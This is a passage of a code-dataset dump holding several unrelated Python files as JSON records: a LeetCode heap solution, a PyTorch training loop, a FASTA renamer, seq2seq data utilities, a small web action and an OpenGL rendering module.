self.k:\n            heapq.heappop(self.nums)\n\n    def add(self, val):\n        \"\"\"\n        :type val: int\n        :rtype: int\n        \"\"\"\n        # 如果数据不超过k,则直接push\n        if len(self.nums) < self.k:\n            heapq.heappush(self.nums, val)\n        elif val > self.nums[0]:\n            heapq.heapreplace(self.nums,val)\n\n        return self.nums[0]\n","sub_path":"code/train/LeetCode/heap/703. Kth Largest Element in a Stream[Easy].py","file_name":"703. Kth Largest Element in a Stream[Easy].py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"289226828","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/seongminnpark/hama-py/src/hama/init.py\n# Compiled at: 2020-04-23 12:05:14\n# Size of source mod 2**32: 185 bytes\nfrom hama.tagging.dict import Dict\nfrom hama.tagging.hmm import TagHMM\n\ndef init(callback=None):\n    Dict().load()\n    TagHMM().load()\n    if callback is not None:\n        callback()","sub_path":"pycfiles/hama-1.0.0-py3-none-any/init.cpython-36.py","file_name":"init.cpython-36.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"289614308","text":"import torch\nfrom torch.utils.data import DataLoader\nfrom utils.ranger import Ranger\n\nfrom torch.utils.tensorboard import SummaryWriter\nfrom utils.losses import maskedNLL, maskedMSE\nfrom utils.utils import Settings, get_dataset, get_net, make_dir\n\nargs = Settings()\n\ndef lr_scheduler(optim, iter):\n    if iter < 10:\n        optim.param_groups[0]['lr'] = args.lr/10 *iter\n    elif iter > 30:\n        optim.param_groups[0]['lr'] = args.lr*(30/iter)\n    else:\n        optim.param_groups[0]['lr'] = args.lr\n\nmake_dir(args.log_path + 'unique_object/' + args.model_type + '/')\nmake_dir(args.models_path + 'unique_object/' + args.model_type + '/')\nlogger = SummaryWriter(args.log_path + 'unique_object/' + args.model_type + '/' + args.name)\n\n# logger.add_hparams(args.get_dict(), {})\n\ntrSet, valSet = get_dataset()\n\nnet = get_net()\n\nif args.optimizer == 'Ranger':\n    optimizer = Ranger(net.parameters(), lr=args.lr, alpha=0.5, k=5)\nelif args.optimizer == 'Adam':\n    optimizer = torch.optim.Adam(net.parameters(), lr=args.lr)\nelse:\n    optimizer = torch.optim.SGD(net.parameters(), lr=args.lr)\n\ntrDataloader = DataLoader(trSet, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers, collate_fn=trSet.collate_fn)\nvalDataloader = DataLoader(valSet, batch_size=args.batch_size, shuffle=False, num_workers=args.num_workers, collate_fn=valSet.collate_fn)\n\n# torch.autograd.set_detect_anomaly(True)\niter_num = 0\nfor epoch_num in range(args.n_epochs):\n\n    it_trDataloader = iter(trDataloader)\n    it_valDataloader = iter(valDataloader)\n\n    len_tr = len(it_trDataloader)\n    len_val = len(it_valDataloader)\n\n    net.train_flag = True\n\n    avg_nll_loss = 0\n    avg_mse_loss = 0\n    avg_loss = 0\n\n    for i in range(len_tr):\n        # start_time = timer()\n        iter_num += 1\n        data = next(it_trDataloader)\n        hist = data[0].to(args.device)\n        fut = data[1].to(args.device)\n\n        mask = torch.cumprod(1 - (fut[:, :, 0] == 0).float() * (fut[:, :, 1] == 0).float(), dim=0)\n        optimizer.zero_grad()\n        # data_time = timer()\n        # print('Time getting data: ', data_time - start_time)\n        fut_pred = net(hist, None, fut.shape[0])[-fut.shape[0]:]\n        # pred_time = timer()\n        # print('Time prediction: ', pred_time - data_time)\n\n        mse_loss = maskedMSE(fut_pred, fut, mask, 2)\n        nll_loss = maskedNLL(fut_pred, fut, mask, 2) + 1e-2*net.get_l1()\n        if args.use_nll_loss:\n            loss = nll_loss\n        else:\n            loss = mse_loss\n        if loss != loss:\n            print('Nan')\n            continue\n            raise RuntimeError(\"The loss value is Nan.\")\n        loss.backward()\n        # torch.nn.utils.clip_grad_norm_(net.parameters(), 1)\n        # lr_scheduler(optimizer, iter_num)\n        optimizer.step()\n        # step_time = timer()\n        # print('Time backward: ', step_time - pred_time)\n\n        avg_nll_loss += nll_loss.detach()\n        avg_mse_loss += mse_loss.detach()\n        avg_loss += loss.detach()\n        # print('Overall step time: ', step_time - start_time)\n\n        if i%args.print_every_n == args.print_every_n-1:\n            try:\n                torch.save(net.state_dict(), args.models_path + args.name + '.tar')\n            except PermissionError:\n                print('Could not save, permission denied.')\n            avg_loss = avg_loss.item()\n            avg_nll_loss = avg_nll_loss.item()\n\n            print(\"Epoch no:\", epoch_num + 1, \"| Epoch progress(%):\",\n                  format(i / (len(trSet) / args.batch_size) * 100, '0.2f'),\n                  \"| loss:\", format(avg_loss / args.print_every_n, '0.4f'),\n                  \"| NLL:\", format(avg_nll_loss / args.print_every_n, '0.4f'),\n                  \"| MSE:\", format(avg_mse_loss / args.print_every_n, '0.4f'))\n            info = {'loss': avg_loss/args.print_every_n, 'nll': avg_nll_loss/args.print_every_n, 'mse': avg_mse_loss / args.print_every_n}\n\n            for tag, value in info.items():\n                logger.add_scalar(tag, value, int((epoch_num*len_tr + i)/args.print_every_n))\n            for name, param in net.named_parameters():\n                if param.requires_grad:\n                    if len(param.data) > 1:\n                        pass\n                        # logger.add_histogram(name[1:], param.data, int((epoch_num*len_tr + i)/args.print_every_n))\n                        # logger.add_histogram(name[1:] + '_grad', param.grad.data, int((epoch_num*len_tr + i)/args.print_every_n))\n                    else:\n                        try:\n                            logger.add_scalar(name[1:], param.data.squeeze()[0], int((epoch_num * len_tr + i) / args.print_every_n))\n                            # logger.add_scalar(name[1:] + '_grad', param.grad.data.squeeze()[0],\n                            #                  int((epoch_num * len_tr + i) / args.print_every_n))\n                        except:\n                            logger.add_scalar(name[1:], param.data,\n                                              int((epoch_num * len_tr + i) / args.print_every_n))\n                            # logger.add_scalar(name[1:] + '_grad', param.grad.data,\n                            #                   int((epoch_num * len_tr + i) / args.print_every_n))\n            avg_nll_loss = 0\n            avg_mse_loss = 0\n            avg_loss = 0\n\n    torch.save(net.state_dict(), args.models_path +'unique_object/' + args.model_type + '/' + args.name + '.tar')\n    avg_loss = 0\n    net.train_flag = False\n    for j in range(len_val):\n        data = next(it_valDataloader)\n        hist = data[0].to(args.device)\n        fut = data[1].to(args.device)\n        mask = torch.cumprod(1 - (fut[:, :, 0] == 0).float() * (fut[:, :, 1] == 0).float(), dim=0)\n\n        fut_pred = net(hist, None, fut.shape[0])[-fut.shape[0]:]\n\n        loss = maskedMSE(fut_pred, fut, mask, 2)\n        avg_loss += loss.detach()\n    avg_loss = avg_loss.item()\n\n    print('Validation loss:', format(avg_loss / len_val, '0.4f'))\n\n    info = {'val_loss': avg_loss / len_val}\n\n    for tag, value in info.items():\n        logger.add_scalar(tag, value, (epoch_num+1)*len_tr)\n","sub_path":"train_kalman_predict.py","file_name":"train_kalman_predict.py","file_ext":"py","file_size_in_byte":6113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"172801729","text":"#!/usr/bin/python3\n# fasta_name_shortener.py by josh\n\nimport sys\nimport os\nimport glob\nimport subprocess\nimport re\n\ndel sys.argv[0]\n\nif not len(sys.argv) == 1:\n    sys.exit(\"Please specify directory containing fastas to be renamed\")\n\nalignDir = sys.argv[0]\n\nif not os.path.isdir(alignDir):\n    sys.exit(\"Please specify a directory\")\n\nIDPattern = re.compile(\"^>.+$\")\n\noutDir = \"renamed_fastas\"\n\nif not os.path.isdir(outDir):\n    os.makedirs(outDir)\n\nprint(alignDir)\n\nfastaList = [os.path.abspath(x) for x in glob.glob(\"{}/*_align.fasta\".format(alignDir))]\n\nfastaList.sort()\n\nfastaCount = len(fastaList)\n\nprint(fastaCount)\n\nfor fasta in fastaList:\n    inFile = open(fasta, \"r\")\n    outFile = open(\"{}/{}\".format(outDir, os.path.basename(fasta)), \"w\")\n    for line in inFile:\n        line = line.strip()\n        if IDPattern.match(line):\n            species = line.split(\"|\")[0]\n            species = \"_\".join([species.split(\"_\")[0][0:4]] + species.split(\"_\")[1:])\n            species = species.replace(\"transcriptome\", \"tr\")\n            species = species.replace(\"_Hyun1_\", \"_\")\n            species = species.replace(\"LS023Abrain\", \"LS023A\")\n            species = species.replace(\"LS023Aliver\", \"LS023A\")\n            if len(species) > 48:\n                print(species)\n            sequence = inFile.readline().strip()\n            outFile.write(species + \"\\n\")\n            outFile.write(sequence + \"\\n\")\n        else:\n            print(line)\n            sys.exit(\"Error, line format not recognised\")\n    inFile.close()\n    outFile.close()\n\nquit()\n","sub_path":"fasta_name_shortener.py","file_name":"fasta_name_shortener.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"531938721","text":"from __future__ import division\nimport sys, os, io\nimport re\nimport time\nimport string\nimport math\nimport numpy\nimport random\nimport json\nimport itertools\nimport pickle as Pickle\nfrom collections import defaultdict\nfrom itertools import tee, zip_longest\nfrom itertools import cycle\n\n# NLTK tools for parsing documents\nimport nltk\nfrom nltk import wordpunct_tokenize as tokenize\nsdetect = nltk.data.load('tokenizers/punkt/english.pickle')\nnp_grammar = \"NP: {<DT>?<JJ>*<NN>}\"\nnp_parser = nltk.RegexpParser(np_grammar)\n\ncategory_stop = ['books','new','a-z']\n\n# spaCy tools for parsing documents\nimport spacy\nnlp = spacy.load('en')  \n\n# Pythonrouge for computing rouge scores\n# from pythonrouge.pythonrouge import Pythonrouge\n\n# root directories\nbase_dir = \"../data/\"\nraw_dir = base_dir + \"raw/\"\ninterim_dir = base_dir + \"interim/\"\nprocessed_dir = base_dir + \"processed/\"\ntrain_batch_dir = processed_dir + \"train_batches/\"\ntest_batch_dir = processed_dir + \"test_batches/\"\ndev_batch_dir = processed_dir + \"dev_batches/\"\n\n# processed paths\ndata_path = interim_dir + 'pairs/'\n\ntrain_data_path = processed_dir + 'train/'\ntest_data_path = processed_dir + 'test/'\n\n# vocabulary path\nencoder_vocab_path = processed_dir + 'vocab/encoder_vocab.txt'\ndecoder_vocab_path = processed_dir + 'vocab/decoder_vocab.txt'\n\n\n# Special vocabulary symbols - we always put them at the start.\n_PAD = \"_PAD\"\n_UNK = \"_UNK\"\n_EOS = \"_EOS\"\n_EOD = \"_EOD\"\n_GO  = \"_GO\"\n\n_START_VOCAB = [_PAD, _UNK, _EOS, _EOD, _GO]\n\nPAD_ID = 0\nUNK_ID = 1\nEOS_ID = 2\nEOD_ID = 3\nGO_ID = 4\n\n\ndef load_data():\n    encoder_tokens, decoder_tokens = [],[]    \n    review_fn = processed_dir + 'book_review_data.json'\n    with open(review_fn,'r') as review_file:\n        reviews = json.load(review_file)\n    return reviews\n            \ndef build_vocabularies():\n    reviews = load_data()\n    encoder_tokens, decoder_tokens = [],[]\n    for key, review in reviews.items():\n        sents = [s.split() for s in review['sentences']]\n        sents = [[x.strip() for x in s] for s in sents]\n        cats = [s.split(',') for s in review['categories']]\n        cats = [[x.strip() for x in s] for s in cats]\n        for sent in sents:\n            encoder_tokens.extend(sent)\n        for cat in cats:\n            decoder_tokens.extend([c.lower() for c in cat])\n            \n    encoder_vocab, decoder_vocab = {},{}\n    def build_vocab(tokens):\n        vocab = {}\n        for token in tokens:\n            token = token.strip()\n            if token not in vocab:\n                vocab[token] = 1\n            else:\n                vocab[token] += 1\n        vocab_list = list(reversed(sorted(list(\n            vocab.items()),key=lambda x:x[1])))\n        return vocab_list\n                            \n    print('building encoder vocab...')\n    encoder_vocab_list = build_vocab(encoder_tokens)\n    print('encoder vocab: %s' % len(encoder_vocab_list))\n    with open(encoder_vocab_path, 'w') as ev_file:  \n      for w, count in encoder_vocab_list:\n          ev_file.write('{0}\\t{1}\\n'.format(w, str(count)))\n\n    print('building decoder vocab...')            \n    decoder_vocab_list = build_vocab(decoder_tokens)\n    print('decoder vocab: %s' % len(decoder_vocab_list))        \n    with open(decoder_vocab_path, 'w') as dv_file: \n      for w, count in decoder_vocab_list:\n          dv_file.write('{0}\\t{1}\\n'.format(w, str(count)))          \n\n          \ndef show_stats():\n    reviews = load_data()\n    doc_lens, sen_lens, cat_nums, cat_depths = [],[],[],[]\n    for key, review in reviews.items():\n        doc_lens.append(len(review['sentences']))\n        cat_nums.append(len(review['categories']))\n        sents = [s.split() for s in review['sentences']]\n        slens = [len(s) for s in sents]\n        sen_lens.extend(slens)\n        cats = [s.split(',') for s in review['categories']]\n        cdepths = [len(s) for s in cats]\n        cat_depths.extend(cdepths)\n    avg_doc = sum(doc_lens)/len(doc_lens)\n    max_doc = max(doc_lens)\n    std_doc = numpy.std(numpy.array(doc_lens))\n    print('Avg sens per doc: {}'.format(avg_doc))\n    print('Max sens per doc: {}'.format(max_doc))\n    print('Std sens per doc: {}'.format(std_doc))    \n    avg_cat = sum(cat_nums)/len(cat_nums)\n    max_cat = max(cat_nums)\n    std_cat = numpy.std(numpy.array(cat_nums))\n    print('\\nAvg num cats per doc: {}'.format(avg_cat))\n    print('Max cats per doc: {}'.format(max_cat))\n    print('Std cats per doc: {}'.format(std_cat))    \n    avg_sen = sum(sen_lens)/len(sen_lens)\n    max_sen = max(sen_lens)\n    std_sen = numpy.std(numpy.array(sen_lens))\n    print('\\nAvg tokens per sen: {}'.format(avg_sen))\n    print('Max tokens per sen: {}'.format(max_sen))\n    print('Std tokens per sen: {}'.format(std_sen))    \n    avg_depth = sum(cat_depths)/len(cat_depths)\n    max_depth = max(cat_depths)\n    std_depth = numpy.std(numpy.array(cat_depths))\n    print('\\nAvg depth per cat: {}'.format(avg_depth))\n    print('Max depth per cat: {}'.format(max_depth))\n    print('Std depth per cat: {}'.format(std_depth))    \n    \n\ndef window(iterable, size):\n    iters = tee(iterable, size)\n    for i in range(1, size):\n        for each in iters[i:]:\n            next(each, None)\n    return zip(*iters)\n\n\ndef divide_list(l, n):\n    for i in range(0, len(l), n):\n      yield l[i:i + n]\n\n\ndef load_vocabularies(encoder_size, decoder_size):\n    encoder_vocab, decoder_vocab = {},{}\n    def sort_vocab(lines,size):\n      kv = [line.split('\\t') for line in lines]\n      kv_num = [(k,int(v.strip().rstrip())) for k,v in kv]\n      kv_sort = list(reversed(sorted(kv_num, key=lambda x:x[1])))\n      start = [(k, None) for k in _START_VOCAB]\n      kv_ids = [(k,i) for i, (k,v) in enumerate(start + kv_sort)]\n      if size:\n          return kv_sort[:size], kv_ids[:size]\n      else:\n          return kv_sort, kv_ids\n    print('loading vocabularies...')\n    with open(encoder_vocab_path, 'r') as ev_file:\n        encoder_lines = ev_file.readlines()\n        encoder_counts, encoder_ids = sort_vocab(encoder_lines, encoder_size)            \n    with open(decoder_vocab_path, 'r') as dv_file:\n        decoder_lines = dv_file.readlines()\n        decoder_counts, decoder_ids = sort_vocab(decoder_lines, None) \n    return encoder_counts, encoder_ids, decoder_counts, decoder_ids\n      \n      \ndef make_batches(vocabularies, batch_size, doc_size, split_size):\n    print('Building training examples...')\n    reviews = list(load_data().items())\n    random.shuffle(reviews)\n    batches = []\n    encoder_counts, encoder_ids, decoder_counts, decoder_ids = vocabularies\n    corpus_word_count = sum([x[1] for x in encoder_counts])\n    encoder_probs = [(w, c/corpus_word_count) for w,c in encoder_counts]\n    decoder_probs = [(w, c/corpus_word_count) for w,c in decoder_counts]    \n    encoder_vocab_rev = {v:k for k,v in encoder_ids}\n    decoder_vocab_rev = {v:k for k,v in decoder_ids}\n    encoder_ids, decoder_ids = dict(encoder_ids), dict(decoder_ids)\n    encoder_counts, decoder_counts = dict(encoder_counts), dict(decoder_counts)\n    encoder_probs, decoder_probs = dict(encoder_probs), dict(decoder_probs)\n    doc_count = 0\n    encoder_inputs, decoder_inputs = [],[]\n    t0 = time.time()\n    for ridx, (key, review) in enumerate(reviews):\n        if ridx and ridx % 10000 == 0:\n            t1 = time.time()\n            print('batches complete: {0} ({1})'.format(ridx, t1-t0))\n        if ridx and ridx % 400000 == 0: break\n        # get category ids\n        cats = [s.split(',') for s in review['categories']]\n        cat_ids, cats_filtered = [], []\n        for cat in cats:\n            cat_filt = [x.strip() for x in cat if\n                        not any(t in x.lower() for t in category_stop)]\n            if cat_filt:\n                cats_filtered.append(cat_filt)\n        if cats_filtered:\n            for cat in cats_filtered:\n                cat_id = []\n                for subcat in cat:\n                    w = subcat.lower().strip()\n                    wid = decoder_ids[w]\n                    wcount = decoder_counts[w]\n                    wprob = decoder_probs[w]\n                    wquad = (w, wid, wcount, wprob)\n                    cat_id.append(wquad)\n                cat_ids.append(cat_id)\n            # get sentence ids        \n            sents = [s.split() for s in review['sentences']]\n            for doc_sents in window(sents, doc_size):\n                sents_ids, doc_words = [],[]\n                for sent in doc_sents:\n                    sent_quad = [(w, encoder_ids[w], encoder_counts[w], encoder_probs[w])\n                                    if w in encoder_ids else\n                                    (_UNK, UNK_ID, None, None) for w in sent]\n                    doc_words.extend([x[0] for x in sent_quad])\n                    sent_quad += [(_EOS, EOS_ID, None, None)]\n                    sents_ids.append(sent_quad)\n                # ignore examples with > 4% unknown words\n                unk_vec = [1 if w==_UNK else 0 for w in doc_words]\n                unk_perc = sum(unk_vec)/len(unk_vec)\n                if unk_perc > 0.04: continue\n                if max(len(s) for s in sents_ids) > 100: continue\n                sents_ids[-1].append((_EOD, EOD_ID, None, None))\n                encoder_inputs.append(sents_ids)\n                decoder_inputs.append(cat_ids)\n    examples = list(zip(encoder_inputs, decoder_inputs))\n    random.shuffle(examples)\n    set_split = int(round(len(examples) * split_size))\n    dev_set = examples[:set_split]\n    train_set = examples[set_split:]\n    train_batches, dev_batches = [],[]\n    encoder_shape, decoder_shape = [],[]     \n    print('total train examples: {}'.format(len(train_set)))\n    for idx, batch in enumerate(divide_list(train_set, batch_size)):\n        if idx % 1000 == 0: print(idx)\n        num_word = max([max([len(x) for x in doc[0]]) for doc in batch])\n        num_sen = max([len(doc[0]) for doc in batch]) \n        num_cat = max([max([len(x) for x in doc[1]]) for doc in batch])\n        num_label = max([len(doc[1]) for doc in batch])         \n        bfname = train_batch_dir + 'batch_{0}_{1}_{2}_{3}.json'.format(\n            idx, num_sen, num_word, num_label, num_cat)\n        if len(batch) == batch_size:\n            with open(bfname,'w') as batch_file:\n                json.dump(batch, batch_file)\n    print('total dev examples: {}'.format(len(dev_set)))\n    for idx, batch in enumerate(divide_list(dev_set, batch_size)):\n        if idx % 1000 == 0: print(idx)\n        num_word = max([max([len(x) for x in doc[0]]) for doc in batch])\n        num_sen = max([len(doc[0]) for doc in batch]) \n        num_cat = max([max([len(x) for x in doc[1]]) for doc in batch])\n        num_label = max([len(doc[1]) for doc in batch])         \n        bfname = train_batch_dir + 'batch_{0}_{1}_{2}_{3}.json'.format(\n            idx, num_sen, num_word, num_label, num_cat)\n        if len(batch) == batch_size:\n            with open(bfname,'w') as batch_file:\n                json.dump(batch, batch_file)\n                \n            \ndef data_shape(source='train'):\n    # batch_fns = os.listdir(train_batch_dir)\n    batch_fns = os.listdir(test_batch_dir)    \n    for batch_fn in sorted(batch_fns):\n        shape = batch_fn.split('.')[0].split('_')[-2:]\n        shape = [int(x) for x in shape]\n        yield shape\n                \n\ndef blocks(l, n):\n    \"\"\"Yield successive n-sized chunks from l.\"\"\"\n    for i in range(0, len(l), n):\n        yield l[i:i + n]\n        \ndef train_iter(batch_size, shape=False):\n    batch_fns = os.listdir(train_batch_dir)\n    for batch_fn in sorted(batch_fns):\n        with open('../data/processed/train_batches/'+batch_fn, 'r') as batch_file:\n            batch_orig = json.load(batch_file)\n            batches = blocks(batch_orig, batch_size)\n            if not shape:\n                for batch in batches:\n                    yield batch\n            else:\n                examples = len(batch)\n                emaxes = [max([len(s) for s in e]) for e,_ in batch]\n                emaxsen = max([len(e) for e,_ in batch])\n                emaxword = max(emaxes)\n                dmaxes = [max([len(c) for c in d]) for _,d in batch]\n                dmaxsen = max([len(d) for _,d in batch])\n                dmaxword = max(dmaxes)\n                yield examples, emaxsen, emaxword, dmaxsen, dmaxword\n\n\ndef dev_iter(batch_size, shape=False):\n    batch_fns = os.listdir(dev_batch_dir)\n    for batch_fn in sorted(batch_fns):\n        with open('../data/processed/dev_batches/'+batch_fn, 'r') as batch_file:\n            batch_orig = json.load(batch_file)\n            batches = blocks(batch_orig, batch_size)\n            if not shape:\n                for batch in batches:\n                    yield batch\n            else:\n                examples = len(batch)\n                emaxes = [max([len(s) for s in e]) for e,_ in batch]\n                emaxsen = max([len(e) for e,_ in batch])\n                emaxword = max(emaxes)\n                dmaxes = [max([len(c) for c in d]) for _,d in batch]\n                dmaxsen = max([len(d) for _,d in batch])\n                dmaxword = max(dmaxes)\n                yield examples, emaxsen, emaxword, dmaxsen, dmaxword\n\n                                  \n        \ndef entropy(batch):\n    entropies, counts = {},{}\n    # iterate through batch once to compute probs\n    \n    probs = {w: float(c) / len(counts) for w, c in counts.items()}\n    probs = {w: v for w, v in probs.items() if v > 0.}\n    # iterate again to compute entropy for each sequence\n    for idx, seq in enumerate(batch_input):\n        ent = 0\n        for p in [probs[w] for w in seq]:\n            if p > 0:\n                ent -= p * math.log(p, 2.)\n        ents[idx] = ent\n    return ents\n\n\ndef get_textdata(data):\n  text_data = []\n  first = True\n  for word, attn in data:\n      if word == '_EOD': break\n      elif word == '_EOS': text_data.append(('.', numpy.array([0])))\n      elif word in _START_VOCAB: continue\n      else: text_data.append((word, attn))\n  text = ' '.join([x[0] for x in text_data]).rstrip()\n  text = text.replace(' .','.')\n  return text, text_data\n\n\ndef get_text(data):\n  text_data = []\n  first = True\n  for word in data:\n      if word == '_EOD': break\n      elif word == '_EOS': text_data.append('.')\n      elif word in _START_VOCAB: continue\n      else: text_data.append(word)\n  text = ' '.join(text_data).rstrip()\n  text = text.replace(' .','.')\n  return text\n\n            \ndef load_batches(batch_size, gen_cycle=True, shape=False):\n  print('\\nloading data...')\n  sys.stdout.flush()\n  train_batchset, dev_batchset = [],[]\n  if gen_cycle:\n    train_batches = cycle(train_iter(batch_size, shape))\n    dev_batches = cycle(dev_iter(batch_size, shape))\n    return train_batches, dev_batches\n  else:\n    return train_iter(shape), dev_iter(shape)\n    \n\nif __name__ == \"__main__\": \n    inpt =  {'sen': 16, 'word': 25} # text 15 sen, 24 words per sen  \n    otpt =  {'sen': 2, 'word': 21} # category 1 sen, 20 words per sen\n    model_size = {'in': inpt, 'out': otpt}\n    \n    # Read in tokens and make batches from token ids\n    if sys.argv[1] == '-build_vocab':\n        build_vocabularies()\n        \n    elif sys.argv[1] == '-compute_stats':\n        show_stats()\n        \n    elif sys.argv[1] == '-make_batches':\n        encoder_vocab_size = 150000\n        decoder_vocab_size = 3878\n        batch_size = 128\n        doc_size = 10\n        split_size = 0.10\n        vocabularies = load_vocabularies(encoder_vocab_size, \n                                         decoder_vocab_size)\n        # will only build examples if data doesn't exist \n        make_batches(vocabularies, batch_size, doc_size, split_size)\n\n    elif sys.argv[1] == '-iter_batches':\n        data_shape()\n        \n    elif '-build_json':\n        batch_dictionaries()        \n            \n    elif sys.argv[1] == '-summary_scores':\n        summarization_scores(summary_path=None)\n\n    elif sys.argv[1] == '-make_tokens': tokenize()\n\n    \n","sub_path":"seq2seq/data_ops.py","file_name":"data_ops.py","file_ext":"py","file_size_in_byte":15874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"335871048","text":"from cn.edustar.jitar.data import Command\r\nfrom preparecourse_member_query import PrepareCourseMemberQuery\r\nfrom base_action import BaseAction\r\n\r\nclass SaveVideoToMyPrecareCourse(BaseAction):\r\n  cfg_svc = __jitar__.configService\r\n  \r\n  def __init__(self):\r\n    self.params = ParamUtil(request)\r\n    self.pc_svc = __jitar__.getPrepareCourseService()\r\n    self.video_svc = __spring__.getBean(\"videoService\")\r\n    return\r\n \r\n  def execute(self): \r\n    if self.loginUser == None:\r\n        self.out.write(u\"请先登录。\")\r\n        request.setAttribute(\"msg\", u\"请先登录\")\r\n        return \"SaveVideoToMyPrecareCourse.ftl\"\r\n    videoid = self.params.getIntParam(\"videoid\")\r\n    if videoid == None or videoid == 0:\r\n        self.out.write(u\"缺少VideoID参数。\")\r\n        request.setAttribute(\"msg\", u\"缺少VideoID参数\")\r\n        return \"SaveVideoToMyPrecareCourse.ftl\"\r\n    \r\n    video = self.video_svc.findById(videoid)\r\n    videoTitle = video.title\r\n    pcids = self.params.safeGetIntValues(\"pcid\")\r\n    if pcids == 0 or pcids == None:\r\n        self.out.write(u\"缺少pcid参数。\")\r\n        request.setAttribute(\"msg\", u\"缺少pcid参数\")\r\n        return \"SaveVideoToMyPrecareCourse.ftl\"\r\n    \r\n    userId = self.loginUser.userId\r\n    for pcid in pcids:\r\n      self.pc_svc.insertVideoToPrepareCourse(pcid, videoid, userId, videoTitle);\r\n    \r\n    request.setAttribute(\"msg\", u\"操作完成\")  \r\n    return \"/WEB-INF/common/SaveVideoToMyPrecareCourse.ftl\"\r\n\r\n","sub_path":"WebContent/SaveVideoToMyPrecareCourse.py","file_name":"SaveVideoToMyPrecareCourse.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"537481729","text":"# coding=utf-8\n# zgraphics.py\n# created on 2020/9/27\n# author @zoloypzuo\n# usage: rhi\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\n\nimport G\nfrom common.zlogger import logger\nfrom common.ztable import Table\nfrom interfaces.runtime import IRuntimeModule\n\n\nclass Graphics(object, IRuntimeModule):\n    \"\"\"\n    Attributes:\n        enable_light: 启用光照，默认添加一个全局太阳\n\n    \"\"\"\n\n    def __init__(self):\n        super(Graphics, self).__init__()\n        self.enable_shader = True\n        self.enable_text = False\n        self.renderable_map = {}\n        self.clear_flag = GL_COLOR_BUFFER_BIT\n        self.current_matrix_mode = None\n        self.enable_depth_test = True\n        self.enable_light = True\n        self.enable_texture = True\n        self.clear_color = (.9, .95, 1.0, 1.0)\n        self.near = 0.1\n        self.far = 1000.\n        self.fov = 60.\n        self.projection_mode = 0  # 0 for perspective, 1 for ortho\n        self._look_at_args = Table(\n            eye_position=(-25.0, 8.0, 5.0),\n            target_position=(0.0, 5.0, 22.0),\n            up=(0.0, 1.0, 0.0)\n        )\n\n        if self.enable_depth_test:\n            self.clear_flag = GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT\n\n    # @logger\n    def look_at(self, eye_position, target_position, up):\n        self._look_at_args = Table(\n            eye_position=eye_position,\n            target_position=target_position,\n            up=up\n        )\n\n    @logger\n    def disable_look_at(self):\n        self._look_at_args = None\n\n    @logger\n    def recalculate_projection_matrix(\n            self, width, height):\n        \"\"\"\n        重新计算projection-matrix\n        :return:\n        \"\"\"\n        aspect_ratio = width / height\n        glMatrixMode(GL_PROJECTION)\n        glLoadIdentity()\n        if self.projection_mode == 0:\n            gluPerspective(self.fov, aspect_ratio, self.near, self.far)\n        else:\n            gluOrtho2D(0., width, 0.01, height)\n        glMatrixMode(GL_MODELVIEW)\n\n    @logger\n    def on_resize(self, width, height):\n        glViewport(0, 0, width, height)\n        # if GL_SCISSOR_TEST enabled:\n        # glScissor(0, 0, width, height)\n        self.recalculate_projection_matrix(width, height)\n\n    def add_renderable(self, renderable):\n        self.renderable_map[id(renderable)] = renderable\n\n    @logger\n    def _debug_callback(self, *args):\n        \"\"\"\n        GLDEBUGPROCARB\n        GLenum,  # source,\n        GLenum, #type,\n        GLuint, # id\n        GLenum, # severity\n        GLsizei, # length\n        ctypes.c_char_p, # message\n        GLvoidp, # userParam\n        :param args:\n        :return:\n        \"\"\"\n        raise RuntimeError(\"OpenGL error\")\n\n    # ---------------------------------------------------\n    # IRuntimeModule\n    # ---------------------------------------------------\n    @logger\n    def initialize(self):\n        @logger\n        def init_gfx():\n            glClearColor(*self.clear_color)\n\n        # TODO bug\n        # glDebugMessageCallback(self._debug_callback, None)\n\n        @logger\n        def init_depth_test():\n            glEnable(GL_DEPTH_TEST)\n            glDepthFunc(GL_LESS)\n            # glDepthMask(GL_FALSE)\n\n        @logger\n        def init_shader():\n            # GL_FLAT\n            glShadeModel(GL_SMOOTH)\n\n        @logger\n        def init_light():\n            # ---------------------------------------------------\n            # 设置材质\n            # ---------------------------------------------------\n            mat_specular = [1., 0., 1., 1.]\n            mat_shininess = [50.]\n            glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular)\n            glMaterialfv(GL_FRONT, GL_SHININESS, mat_shininess)\n\n            # ---------------------------------------------------\n            # 设置全局环境光\n            # ---------------------------------------------------\n            light_model_ambient = [.2, .2, .2, 1.]\n            glLightModelfv(GL_LIGHT_MODEL_AMBIENT, light_model_ambient)\n\n            # ---------------------------------------------------\n            # 设置光源属性\n            # ---------------------------------------------------\n            light_ambient = [0., 0., 1., 1.]\n            light_diffuse = [0., 0., 1., 1.]\n            light_specular = [0., 0., 1., 1.]\n            light_position = [1., 1., 1., 0.]\n\n            glLightfv(GL_LIGHT0, GL_AMBIENT, light_ambient)\n            glLightfv(GL_LIGHT0, GL_DIFFUSE, light_diffuse)\n            glLightfv(GL_LIGHT0, GL_SPECULAR, light_specular)\n            glLightfv(GL_LIGHT0, GL_POSITION, light_position)\n\n            glEnable(GL_LIGHTING)\n            glEnable(GL_LIGHT0)\n\n        @logger\n        def init_text():\n            glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE)\n            # glEnable(GL_DEPTH_TEST)\n            glEnable(GL_BLEND)\n            glEnable(GL_COLOR_MATERIAL)\n            glColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE)\n            